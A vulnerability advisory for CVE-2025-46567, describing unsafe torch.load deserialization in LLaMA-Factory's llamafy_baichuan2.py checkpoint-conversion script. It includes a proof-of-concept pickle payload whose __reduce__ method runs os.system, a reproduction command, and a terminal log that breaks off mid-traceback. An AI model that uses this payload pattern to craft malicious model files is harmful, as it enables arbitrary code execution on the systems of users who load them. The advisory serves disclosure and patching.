LLaMA-Factory Allows Arbitrary Code Execution via Unsafe Deserialization in Ilamafy_baichuan2.py
Medium6.1CVE-2025-46567 · Published Apr 23, 2025 · updated Sep 10, 2026
### Description A critical vulnerability exists in the `llamafy_baichuan2.py` script of the [LLaMA-Factory](https://github.com/hiyouga/LLaMA-Factory) project. The script performs insecure deserialization using `torch.load()` on user-supplied `.bin` files from an input directory. An attacker can exploit this behavior by crafting a malicious `.bin` file that executes arbitrary commands during deserialization. ### Attack Vector This vulnerability is **exploitable without authentication or privileges** when a user is tricked into: 1. Downloading or cloning a malicious project folder containing a crafted `.bin` file (e.g. via zip file, GitHub repo). 2. Running the provided conversion script `llamafy_baichuan2.py`, either manually or as part of an example workflow. No elevated privileges are required. The user only needs to run the script with an attacker-supplied `--input_dir`. ### Impact - Arbitrary command execution (RCE) - System compromise - Persistence or lateral movement in shared compute environments ### Proof of Concept (PoC) ```python # malicious_payload.py import torch, pickle, os class MaliciousPayload: def __reduce__(self): return (os.system, ("mkdir HA...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| llamafactory PyPI | < 0.9.3 | 0.9.3 |
Details and references
### Description A critical vulnerability exists in the `llamafy_baichuan2.py` script of the [LLaMA-Factory](https://github.com/hiyouga/LLaMA-Factory) project. The script performs insecure deserialization using `torch.load()` on user-supplied `.bin` files from an input directory. An attacker can exploit this behavior by crafting a malicious `.bin` file that executes arbitrary commands during deserialization. ### Attack Vector This vulnerability is **exploitable without authentication or privileges** when a user is tricked into: 1. Downloading or cloning a malicious project folder containing a crafted `.bin` file (e.g. via zip file, GitHub repo). 2. Running the provided conversion script `llamafy_baichuan2.py`, either manually or as part of an example workflow. No elevated privileges are required. The user only needs to run the script with an attacker-supplied `--input_dir`. ### Impact - Arbitrary command execution (RCE) - System compromise - Persistence or lateral movement in shared compute environments ### Proof of Concept (PoC) ```python # malicious_payload.py import torch, pickle, os class MaliciousPayload: def __reduce__(self): return (os.system, ("mkdir HACKED!",)) # Arbitrary command malicious_data = { "v_head.summary.weight": MaliciousPayload(), "v_head.summary.bias": torch.randn(10) } with open("value_head.bin", "wb") as f: pickle.dump(malicious_data, f) ``` An example of `config.json`: ```json { "model": "value_head.bin", "hidden_size": 4096, "num_attention_heads": 32, "num_hidden_layers": 24, "initializer_range": 0.02, "intermediate_size": 11008, "max_position_embeddings": 4096, "kv_channels": 128, "layer_norm_epsilon": 1e-5, "tie_word_embeddings": false, "vocab_size": 151936 } ``` ```bash (base) root@d6ab70067470:~/LLaMA-Factory_latest# tree . `-- LLaMA-Factory |-- LICENSE |-- README.md |-- malicious_folder | |-- config.json | `-- value_head.bin `-- xxxxx(Irrelevant documents omitted) ``` ```bash # Reproduction python scripts/convert_ckpt/llamafy_baichuan2.py --input_dir ./malicious_folder --output_dir ./out ``` ➡️ Running this will execute the malicious payload and create a `HACKED!` folder. ```bash (base) root@d6ab70067470:~/LLaMA-Factory_latest/LLaMA-Factory# ls CITATION.cff LICENSE MANIFEST.in Makefile README.md README_zh.md assets data docker evaluation examples malicious_folder pyproject.toml requirements.txt scripts setup.py src tests (base) root@d6ab70067470:~/LLaMA-Factory_latest/LLaMA-Factory# python scripts/convert_ckpt/llamafy_baichuan2.py --input_dir ./malicious_folder --output_dir ./out 2025-04-23 07:36:58.435304: E external/local_xla/xla/stream_executor/cuda/cuda_fft.cc:477] Unable to register cuFFT factory: Attempting to register factory for plugin cuFFT when one has already been registered WARNING: All log messages before absl::InitializeLog() is called are written to STDERR E0000 00:00:1745393818.451398 1008 cuda_dnn.cc:8310] Unable to register cuDNN factory: Attempting to register factory for plugin cuDNN when one has already been registered E0000 00:00:1745393818.456423 1008 cuda_blas.cc:1418] Unable to register cuBLAS factory: Attempting to register factory for plugin cuBLAS when one has already been registered 2025-04-23 07:36:58.472951: I tensorflow/core/platform/cpu_feature_guard.cc:210] This TensorFlow binary is optimized to use available CPU instructions in performance-critical operations. To enable the following instructions: AVX2 FMA, in other operations, rebuild TensorFlow with the appropriate compiler flags. Load weights: 50%|██████████████████████████████████████████████████████████████████████████████████▌ | 1/2 [00:00<00:00, 123.70it/s] Traceback (most recent call last): File "/root/LLaMA-Factory_latest/LLaMA-Factory/scripts/convert_ckpt/llamafy_baichuan2.py", line 112, in <module>
- CVSS 3.1
- CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:L
- Severity from
- GitHub (reviewed advisory)
- Weakness
- CWE-502
- Also known as
- CVE-2025-46567, PYSEC-2026-1574
- github.com/hiyouga/LLaMA-Factory/security/advisories/GHSA-f2f7-gj54-6vpv
- nvd.nist.gov/vuln/detail/CVE-2025-46567
- github.com/hiyouga/LLaMA-Factory/commit/2989d39239d2f46e584c1e1180ba46b9768afb2a
- github.com/hiyouga/LLaMA-Factory
- github.com/hiyouga/LLaMA-Factory/blob/main/scripts/convert_ckpt/llamafy_baichuan2.py#L35
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